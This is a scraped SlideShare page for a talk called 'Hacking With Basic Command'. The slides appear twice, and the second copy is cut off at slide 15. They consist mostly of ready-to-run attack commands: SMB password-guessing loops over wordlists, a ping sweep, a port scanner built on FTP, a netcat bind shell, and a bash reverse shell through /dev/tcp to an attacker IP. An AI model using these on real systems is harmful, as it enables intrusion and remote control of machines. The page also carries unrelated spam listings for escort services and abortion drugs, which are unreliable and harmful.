SlideShare uma empresa Scribd logo
1 de 28
Hacking With Basic Command
Presented :
Dedi Dwianto
[theday@echo.or.id]
Contents
• Scenario
• Windows Command-Line Hacking
• Netcat
• Linux Commnad-Line Hacking
• Q&A
Scenario
WWW DNS
Attacker
Internet
Network
Target
Firewall
e-rdc.org 2008
Windows Command
• Finding Others Machines
• SMB Sessions
• FOR Loops
• Password Guessing
• Port Scanner
• File Transfer
Finding other machines
• C:>ipconfig /displaydns
• C:>arp –a
Setting up smb sessions
• Set up session with a target
• Mount a Share on a target :
C:> net use [targetIP] [password] /u:[user]
C:> net use [targetIP][sharename] [password] /u:[user]
Dropping smb sessions
• Windows only accept one username at a time only
• Drop SMB Session
• Drop All SMB Session
C:> net use [TargetIP] /del
C:> net use * /del
FOR Loops
• Common Option for Hacking
• FOR /L : Loop through a range of numbers
• FOR /F: Loop through items in a text file
FOR /L Loops
• FOR /L loops are counters :
• Simple Counter
c:> for /L %i in (1,1,255) do echo %i
c:> for /L %i in ([start],[step],[stop]) do [command]
FOR /L Loops
• Run Multiple Command
[command1] & [command2]
• Run Command1 and Run Command2 if Command1 run without
error
[command1] && [command2]
c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1
C:> for /L %i in (1,1,10) do echo %ii && ping –n 5 127.0.0.1
FOR /L Loops : Handling Output
• Redirect to nul : > null
• Redirect to file : >filename
• Output find string : | find “[string name]”
• Redirect Error Message : [command] 2>null or [command] 2>>file
c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 > nul
C:> for /L %i in (1,1,10) do echo %i && ping –n 5 127.0.0.1 > result.txt
Simple Sweep Ping
C:> for /L %i in (1,1,10) do echo %i & ping –n 5 192.168.114.%i | find “Reply”
FOR /F Loops
• Loop through text
• etc can be :
– The contents
– String
– Command
FOR /F ["options"] %parameter IN (“etc") DO command
Password Guessing with FOR /F
• Password Guessing via SMB
• You know Username
• Password list from John the Ripper’s password.lst
C:>for /F %i in (password.lst) do @echo %i & @net use [targetIP] %i /u:[Username]
2>nul && pause && echo [Username] :%i >> done.txt
Username & Password
Guessing
with FOR /F• Guees each password for each username
• We need 2 file username & password list
• 2 variable %u and %p for username & password
• Use net use for try SMB session
• Drop SMB if success Login
C:>for /F %u in (user.txt) do @(for /F %p in (password.txt) do @echo %u : %p &
@net use [targetIP] %p /u:%u 2>nul && echo %u : %p >> done.txt &&
net use [targetIP] /del)
Windows Port Scanner With FTP Client
• Windows FTP Client C:> ftp [IpAddress]
• Using –s option FTP for ready from file : c:>ftp –s:[filename]
• We’ll write a loop that generate FTP command file and invoke FTP
to run from that command
• Store the result
for/L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt
& echo open [IPAddress] %i > ftp.txt & echo quit >> ftp.txt
& ftp -s:ftp.txt 2>>ports.txt
Windows Command Line File Transfer
• Use Windows File & Printer Sharing
• Redirect to Share folder :
• Login to SMB Session take from Password Guessing
C:>type [filename] > [IPtarget][share][filename]
C:> net use [IPTarget] [password] /u:[username]
Netcat
• TCP/UDP Network Widget
• Standard In and Send It across the network
• Receives data from network and put it to standard out
NETCAT
Std In
Std Out
Send Packets
Receives Packets
Std Error
SYSTEM NETWORK
Netcat Functions
• Send File
• Port Scan
• Backdoor Shell Access
• Connect to Open Port
• Simple Chats
• Replay Data in TCP/UDP Packets
• Etc …
Netcat : Windows Backdoor
nc -l -p [port] -e “cmd.exe”
Linux Command Line
Hacking• /dev/tcp/
• Open Connection to Other Machines
• Like Connect Back Shell
• /dev/tcp/[IPAddress]/[Port]
Backdooring via /dev/tcp
/bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1
Firewall
Deny
Incoming
/bin/bash -i > /dev/tcp/[ip]/[port] 0<&1
2>&1nc -l -p 80
Type Command Command Execute
THANK YOU

Mais conteúdo relacionado

Mais procurados

บทที่ 2 โพรโตคอล (protocol)
บทที่  2 โพรโตคอล (protocol)บทที่  2 โพรโตคอล (protocol)
บทที่ 2 โพรโตคอล (protocol)
chrisman77
 
Unix fundamentals and_shell scripting
Unix fundamentals and_shell scriptingUnix fundamentals and_shell scripting
Unix fundamentals and_shell scripting
Ganesh Bhosale
 
Networking session-4-final by aravind.R
Networking session-4-final by aravind.RNetworking session-4-final by aravind.R
Networking session-4-final by aravind.R
Navaneethan Naveen
 

Mais procurados (19)

บทที่ 2 โพรโตคอล (protocol)
บทที่  2 โพรโตคอล (protocol)บทที่  2 โพรโตคอล (protocol)
บทที่ 2 โพรโตคอล (protocol)
 
Basic unix commands
Basic unix commandsBasic unix commands
Basic unix commands
 
Course 102: Lecture 6: Seeking Help
Course 102: Lecture 6: Seeking HelpCourse 102: Lecture 6: Seeking Help
Course 102: Lecture 6: Seeking Help
 
Unix fundamentals and_shell scripting
Unix fundamentals and_shell scriptingUnix fundamentals and_shell scripting
Unix fundamentals and_shell scripting
 
Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet
 
Lpt lopsa
Lpt lopsaLpt lopsa
Lpt lopsa
 
Final opensource record 2019
Final opensource record 2019Final opensource record 2019
Final opensource record 2019
 
Networking session-4-final by aravind.R
Networking session-4-final by aravind.RNetworking session-4-final by aravind.R
Networking session-4-final by aravind.R
 
Common linux ubuntu commands overview
Common linux  ubuntu commands overviewCommon linux  ubuntu commands overview
Common linux ubuntu commands overview
 
Course 102: Lecture 3: Basic Concepts And Commands
Course 102: Lecture 3: Basic Concepts And Commands Course 102: Lecture 3: Basic Concepts And Commands
Course 102: Lecture 3: Basic Concepts And Commands
 
Linux commd
Linux commdLinux commd
Linux commd
 
Linux commd
Linux commdLinux commd
Linux commd
 
Pycon Sec
Pycon SecPycon Sec
Pycon Sec
 
Penetration testing using python
Penetration testing using pythonPenetration testing using python
Penetration testing using python
 
40 basic linux command
40 basic linux command40 basic linux command
40 basic linux command
 
PHP: The Beginning and the Zend
PHP: The Beginning and the ZendPHP: The Beginning and the Zend
PHP: The Beginning and the Zend
 
Ansible for Beginners
Ansible for BeginnersAnsible for Beginners
Ansible for Beginners
 
Python build your security tools.pdf
Python build your security tools.pdfPython build your security tools.pdf
Python build your security tools.pdf
 
Tcpdump
TcpdumpTcpdump
Tcpdump
 

Destaque

CV_Solange_English Jan 2017
CV_Solange_English Jan 2017CV_Solange_English Jan 2017
CV_Solange_English Jan 2017
Solange Zein
 
Suja resume- Business Analyst
Suja resume- Business AnalystSuja resume- Business Analyst
Suja resume- Business Analyst
Suja Selvamani
 

Destaque (15)

Epn presidente impopular
Epn presidente impopularEpn presidente impopular
Epn presidente impopular
 
CV_Solange_English Jan 2017
CV_Solange_English Jan 2017CV_Solange_English Jan 2017
CV_Solange_English Jan 2017
 
CURRICULUM VITAE
CURRICULUM VITAECURRICULUM VITAE
CURRICULUM VITAE
 
FORMAS ELEMENTALES DEL RELIEVE
FORMAS ELEMENTALES DEL RELIEVEFORMAS ELEMENTALES DEL RELIEVE
FORMAS ELEMENTALES DEL RELIEVE
 
Suja resume- Business Analyst
Suja resume- Business AnalystSuja resume- Business Analyst
Suja resume- Business Analyst
 
Stickdiagrams
StickdiagramsStickdiagrams
Stickdiagrams
 
PROCESO DIGESTIVO
PROCESO DIGESTIVOPROCESO DIGESTIVO
PROCESO DIGESTIVO
 
Проект «Мама, я тебя люблю!»
Проект «Мама, я тебя люблю!»Проект «Мама, я тебя люблю!»
Проект «Мама, я тебя люблю!»
 
Historia de la Arquitectura
Historia de la ArquitecturaHistoria de la Arquitectura
Historia de la Arquitectura
 
5 grafcet à séquence unique chariot
5  grafcet à séquence unique chariot5  grafcet à séquence unique chariot
5 grafcet à séquence unique chariot
 
Value analysis
Value analysisValue analysis
Value analysis
 
Chapter7
Chapter7Chapter7
Chapter7
 
'IKT og læring' and/versus 'Media Pedagogy*
'IKT og læring' and/versus 'Media Pedagogy*'IKT og læring' and/versus 'Media Pedagogy*
'IKT og læring' and/versus 'Media Pedagogy*
 
Clases de-oraciones-impersonales
Clases de-oraciones-impersonalesClases de-oraciones-impersonales
Clases de-oraciones-impersonales
 
Telecommunication haggege
Telecommunication   haggegeTelecommunication   haggege
Telecommunication haggege
 

Semelhante a amrapali builders @@ hacking with basic command.pdf

101 3.2 process text streams using filters
101 3.2 process text streams using filters101 3.2 process text streams using filters
101 3.2 process text streams using filters
Acácio Oliveira
 
Unit 10 investigating and managing
Unit 10 investigating and managingUnit 10 investigating and managing
Unit 10 investigating and managing
root_fibo
 

Semelhante a amrapali builders @@ hacking with basic command.pdf (20)

Penetration Testing Boot CAMP
Penetration Testing Boot CAMPPenetration Testing Boot CAMP
Penetration Testing Boot CAMP
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and new
 
Debugging Network Issues
Debugging Network IssuesDebugging Network Issues
Debugging Network Issues
 
Linux
LinuxLinux
Linux
 
1000 to 0
1000 to 01000 to 0
1000 to 0
 
Batch programming and Viruses
Batch programming and VirusesBatch programming and Viruses
Batch programming and Viruses
 
3. introduction of centos
3. introduction of centos3. introduction of centos
3. introduction of centos
 
Monitoring and Debugging your Live Applications
Monitoring and Debugging your Live ApplicationsMonitoring and Debugging your Live Applications
Monitoring and Debugging your Live Applications
 
101 3.2 process text streams using filters
101 3.2 process text streams using filters101 3.2 process text streams using filters
101 3.2 process text streams using filters
 
Unix
UnixUnix
Unix
 
Unix_basics
Unix_basicsUnix_basics
Unix_basics
 
How to admin
How to adminHow to admin
How to admin
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup Presentation
 
Linuxs1
Linuxs1Linuxs1
Linuxs1
 
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
 
Chapter 3 footprinting
Chapter 3 footprintingChapter 3 footprinting
Chapter 3 footprinting
 
BlackHat Hacking - Hacking VoIP.
BlackHat Hacking - Hacking VoIP.BlackHat Hacking - Hacking VoIP.
BlackHat Hacking - Hacking VoIP.
 
Linux
LinuxLinux
Linux
 
Unit 10 investigating and managing
Unit 10 investigating and managingUnit 10 investigating and managing
Unit 10 investigating and managing
 

Mais de amrapalibuildersreviews

amrapali builders@@@hacking d link routers with hnap.pdf
amrapali builders@@@hacking d link routers with hnap.pdfamrapali builders@@@hacking d link routers with hnap.pdf
amrapali builders@@@hacking d link routers with hnap.pdf
amrapalibuildersreviews
 
Amrapali builders -- google cheatsheet.pdf
Amrapali builders -- google cheatsheet.pdfAmrapali builders -- google cheatsheet.pdf
Amrapali builders -- google cheatsheet.pdf
amrapalibuildersreviews
 
amrapali builders -- maroochy water-services-case-study briefing.pdf
amrapali builders -- maroochy water-services-case-study briefing.pdfamrapali builders -- maroochy water-services-case-study briefing.pdf
amrapali builders -- maroochy water-services-case-study briefing.pdf
amrapalibuildersreviews
 
amrapali builders -- hacking the genome.pdf
amrapali builders -- hacking the genome.pdfamrapali builders -- hacking the genome.pdf
amrapali builders -- hacking the genome.pdf
amrapalibuildersreviews
 
amrapali builders @@ hacking challenges.pdf
amrapali builders @@ hacking challenges.pdfamrapali builders @@ hacking challenges.pdf
amrapali builders @@ hacking challenges.pdf
amrapalibuildersreviews
 
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdfamrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
amrapalibuildersreviews
 
amrapali builders @@ google hacking.pdf
amrapali builders @@ google hacking.pdfamrapali builders @@ google hacking.pdf
amrapali builders @@ google hacking.pdf
amrapalibuildersreviews
 
amrapali builders @@hacking cctv.pdf
amrapali builders @@hacking cctv.pdfamrapali builders @@hacking cctv.pdf
amrapali builders @@hacking cctv.pdf
amrapalibuildersreviews
 
amrapali builders @@hacking printers.pdf
amrapali builders @@hacking printers.pdfamrapali builders @@hacking printers.pdf
amrapali builders @@hacking printers.pdf
amrapalibuildersreviews
 
amrapali builders@@@bluetooth hacking.pdf
amrapali builders@@@bluetooth hacking.pdfamrapali builders@@@bluetooth hacking.pdf
amrapali builders@@@bluetooth hacking.pdf
amrapalibuildersreviews
 
amrapali builders@@sub way hacking.pdf
amrapali builders@@sub way hacking.pdfamrapali builders@@sub way hacking.pdf
amrapali builders@@sub way hacking.pdf
amrapalibuildersreviews
 
amrapali builders@@hacking ciphers.pdf
amrapali builders@@hacking ciphers.pdfamrapali builders@@hacking ciphers.pdf
amrapali builders@@hacking ciphers.pdf
amrapalibuildersreviews
 
amrapali builders@@@@hacking windows internals.pdf
amrapali builders@@@@hacking windows internals.pdfamrapali builders@@@@hacking windows internals.pdf
amrapali builders@@@@hacking windows internals.pdf
amrapalibuildersreviews
 
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
amrapalibuildersreviews
 
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali GroupAmrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
amrapalibuildersreviews
 
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali GroupAmrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
amrapalibuildersreviews
 
Amrapali reviews(application form 4 t ech park g.noida)Amrapali Builders,Am...
Amrapali reviews(application form 4   t ech park g.noida)Amrapali Builders,Am...Amrapali reviews(application form 4   t ech park g.noida)Amrapali Builders,Am...
Amrapali reviews(application form 4 t ech park g.noida)Amrapali Builders,Am...
amrapalibuildersreviews
 
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali GroupAmrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
amrapalibuildersreviews
 
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali GroupAmrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
amrapalibuildersreviews
 
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali GroupAmrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
amrapalibuildersreviews
 

Mais de amrapalibuildersreviews (20)

amrapali builders@@@hacking d link routers with hnap.pdf
amrapali builders@@@hacking d link routers with hnap.pdfamrapali builders@@@hacking d link routers with hnap.pdf
amrapali builders@@@hacking d link routers with hnap.pdf
 
Amrapali builders -- google cheatsheet.pdf
Amrapali builders -- google cheatsheet.pdfAmrapali builders -- google cheatsheet.pdf
Amrapali builders -- google cheatsheet.pdf
 
amrapali builders -- maroochy water-services-case-study briefing.pdf
amrapali builders -- maroochy water-services-case-study briefing.pdfamrapali builders -- maroochy water-services-case-study briefing.pdf
amrapali builders -- maroochy water-services-case-study briefing.pdf
 
amrapali builders -- hacking the genome.pdf
amrapali builders -- hacking the genome.pdfamrapali builders -- hacking the genome.pdf
amrapali builders -- hacking the genome.pdf
 
amrapali builders @@ hacking challenges.pdf
amrapali builders @@ hacking challenges.pdfamrapali builders @@ hacking challenges.pdf
amrapali builders @@ hacking challenges.pdf
 
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdfamrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
 
amrapali builders @@ google hacking.pdf
amrapali builders @@ google hacking.pdfamrapali builders @@ google hacking.pdf
amrapali builders @@ google hacking.pdf
 
amrapali builders @@hacking cctv.pdf
amrapali builders @@hacking cctv.pdfamrapali builders @@hacking cctv.pdf
amrapali builders @@hacking cctv.pdf
 
amrapali builders @@hacking printers.pdf
amrapali builders @@hacking printers.pdfamrapali builders @@hacking printers.pdf
amrapali builders @@hacking printers.pdf
 
amrapali builders@@@bluetooth hacking.pdf
amrapali builders@@@bluetooth hacking.pdfamrapali builders@@@bluetooth hacking.pdf
amrapali builders@@@bluetooth hacking.pdf
 
amrapali builders@@sub way hacking.pdf
amrapali builders@@sub way hacking.pdfamrapali builders@@sub way hacking.pdf
amrapali builders@@sub way hacking.pdf
 
amrapali builders@@hacking ciphers.pdf
amrapali builders@@hacking ciphers.pdfamrapali builders@@hacking ciphers.pdf
amrapali builders@@hacking ciphers.pdf
 
amrapali builders@@@@hacking windows internals.pdf
amrapali builders@@@@hacking windows internals.pdfamrapali builders@@@@hacking windows internals.pdf
amrapali builders@@@@hacking windows internals.pdf
 
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
 
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali GroupAmrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
 
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali GroupAmrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
 
Amrapali reviews(application form 4 t ech park g.noida)Amrapali Builders,Am...
Amrapali reviews(application form 4   t ech park g.noida)Amrapali Builders,Am...Amrapali reviews(application form 4   t ech park g.noida)Amrapali Builders,Am...
Amrapali reviews(application form 4 t ech park g.noida)Amrapali Builders,Am...
 
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali GroupAmrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
 
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali GroupAmrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
 
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali GroupAmrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
 

Último

Al Barsha Escorts $#$ O565212860 $#$ Escort Service In Al Barsha
Al Barsha Escorts $#$ O565212860 $#$ Escort Service In Al BarshaAl Barsha Escorts $#$ O565212860 $#$ Escort Service In Al Barsha
Al Barsha Escorts $#$ O565212860 $#$ Escort Service In Al Barsha
AroojKhan71
 
Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...
Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...
Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...
amitlee9823
 
CHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...
Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...
Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...
amitlee9823
 
Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...
Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...
Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...
amitlee9823
 
Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...
Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...
Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...
amitlee9823
 
Probability Grade 10 Third Quarter Lessons
Probability Grade 10 Third Quarter LessonsProbability Grade 10 Third Quarter Lessons
Probability Grade 10 Third Quarter Lessons
JoseMangaJr1
 
Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
ZurliaSoop
 
Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...
Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...
Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...
amitlee9823
 

Último (20)

Al Barsha Escorts $#$ O565212860 $#$ Escort Service In Al Barsha
Al Barsha Escorts $#$ O565212860 $#$ Escort Service In Al BarshaAl Barsha Escorts $#$ O565212860 $#$ Escort Service In Al Barsha
Al Barsha Escorts $#$ O565212860 $#$ Escort Service In Al Barsha
 
(NEHA) Call Girls Katra Call Now 8617697112 Katra Escorts 24x7
(NEHA) Call Girls Katra Call Now 8617697112 Katra Escorts 24x7(NEHA) Call Girls Katra Call Now 8617697112 Katra Escorts 24x7
(NEHA) Call Girls Katra Call Now 8617697112 Katra Escorts 24x7
 
Predicting Loan Approval: A Data Science Project
Predicting Loan Approval: A Data Science ProjectPredicting Loan Approval: A Data Science Project
Predicting Loan Approval: A Data Science Project
 
Anomaly detection and data imputation within time series
Anomaly detection and data imputation within time seriesAnomaly detection and data imputation within time series
Anomaly detection and data imputation within time series
 
Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...
Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...
Junnasandra Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore...
 
Sampling (random) method and Non random.ppt
Sampling (random) method and Non random.pptSampling (random) method and Non random.ppt
Sampling (random) method and Non random.ppt
 
Call me @ 9892124323 Cheap Rate Call Girls in Vashi with Real Photo 100% Secure
Call me @ 9892124323  Cheap Rate Call Girls in Vashi with Real Photo 100% SecureCall me @ 9892124323  Cheap Rate Call Girls in Vashi with Real Photo 100% Secure
Call me @ 9892124323 Cheap Rate Call Girls in Vashi with Real Photo 100% Secure
 
CHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Saket (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...
Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...
Chintamani Call Girls: 🍓 7737669865 🍓 High Profile Model Escorts | Bangalore ...
 
Mature dropshipping via API with DroFx.pptx
Mature dropshipping via API with DroFx.pptxMature dropshipping via API with DroFx.pptx
Mature dropshipping via API with DroFx.pptx
 
Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...
Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...
Call Girls Bannerghatta Road Just Call 👗 7737669865 👗 Top Class Call Girl Ser...
 
Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...
Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...
Call Girls Hsr Layout Just Call 👗 7737669865 👗 Top Class Call Girl Service Ba...
 
Week-01-2.ppt BBB human Computer interaction
Week-01-2.ppt BBB human Computer interactionWeek-01-2.ppt BBB human Computer interaction
Week-01-2.ppt BBB human Computer interaction
 
Invezz.com - Grow your wealth with trading signals
Invezz.com - Grow your wealth with trading signalsInvezz.com - Grow your wealth with trading signals
Invezz.com - Grow your wealth with trading signals
 
Capstone Project on IBM Data Analytics Program
Capstone Project on IBM Data Analytics ProgramCapstone Project on IBM Data Analytics Program
Capstone Project on IBM Data Analytics Program
 
Probability Grade 10 Third Quarter Lessons
Probability Grade 10 Third Quarter LessonsProbability Grade 10 Third Quarter Lessons
Probability Grade 10 Third Quarter Lessons
 
Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Surabaya ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
 
Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...
Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...
Vip Mumbai Call Girls Thane West Call On 9920725232 With Body to body massage...
 
BigBuy dropshipping via API with DroFx.pptx
BigBuy dropshipping via API with DroFx.pptxBigBuy dropshipping via API with DroFx.pptx
BigBuy dropshipping via API with DroFx.pptx
 
Digital Advertising Lecture for Advanced Digital & Social Media Strategy at U...
Digital Advertising Lecture for Advanced Digital & Social Media Strategy at U...Digital Advertising Lecture for Advanced Digital & Social Media Strategy at U...
Digital Advertising Lecture for Advanced Digital & Social Media Strategy at U...
 

amrapali builders @@ hacking with basic command.pdf

  • 1. Hacking With Basic Command Presented : Dedi Dwianto [theday@echo.or.id]
  • 2. Contents • Scenario • Windows Command-Line Hacking • Netcat • Linux Commnad-Line Hacking • Q&A
  • 4. Windows Command • Finding Others Machines • SMB Sessions • FOR Loops • Password Guessing • Port Scanner • File Transfer
  • 5. Finding other machines • C:>ipconfig /displaydns • C:>arp –a
  • 6. Setting up smb sessions • Set up session with a target • Mount a Share on a target : C:> net use [targetIP] [password] /u:[user] C:> net use [targetIP][sharename] [password] /u:[user]
  • 7. Dropping smb sessions • Windows only accept one username at a time only • Drop SMB Session • Drop All SMB Session C:> net use [TargetIP] /del C:> net use * /del
  • 8. FOR Loops • Common Option for Hacking • FOR /L : Loop through a range of numbers • FOR /F: Loop through items in a text file
  • 9. FOR /L Loops • FOR /L loops are counters : • Simple Counter c:> for /L %i in (1,1,255) do echo %i c:> for /L %i in ([start],[step],[stop]) do [command]
  • 10. FOR /L Loops • Run Multiple Command [command1] & [command2] • Run Command1 and Run Command2 if Command1 run without error [command1] && [command2] c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 C:> for /L %i in (1,1,10) do echo %ii && ping –n 5 127.0.0.1
  • 11. FOR /L Loops : Handling Output • Redirect to nul : > null • Redirect to file : >filename • Output find string : | find “[string name]” • Redirect Error Message : [command] 2>null or [command] 2>>file c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 > nul C:> for /L %i in (1,1,10) do echo %i && ping –n 5 127.0.0.1 > result.txt
  • 12. Simple Sweep Ping C:> for /L %i in (1,1,10) do echo %i & ping –n 5 192.168.114.%i | find “Reply”
  • 13. FOR /F Loops • Loop through text • etc can be : – The contents – String – Command FOR /F ["options"] %parameter IN (“etc") DO command
  • 14. Password Guessing with FOR /F • Password Guessing via SMB • You know Username • Password list from John the Ripper’s password.lst C:>for /F %i in (password.lst) do @echo %i & @net use [targetIP] %i /u:[Username] 2>nul && pause && echo [Username] :%i >> done.txt
  • 15.
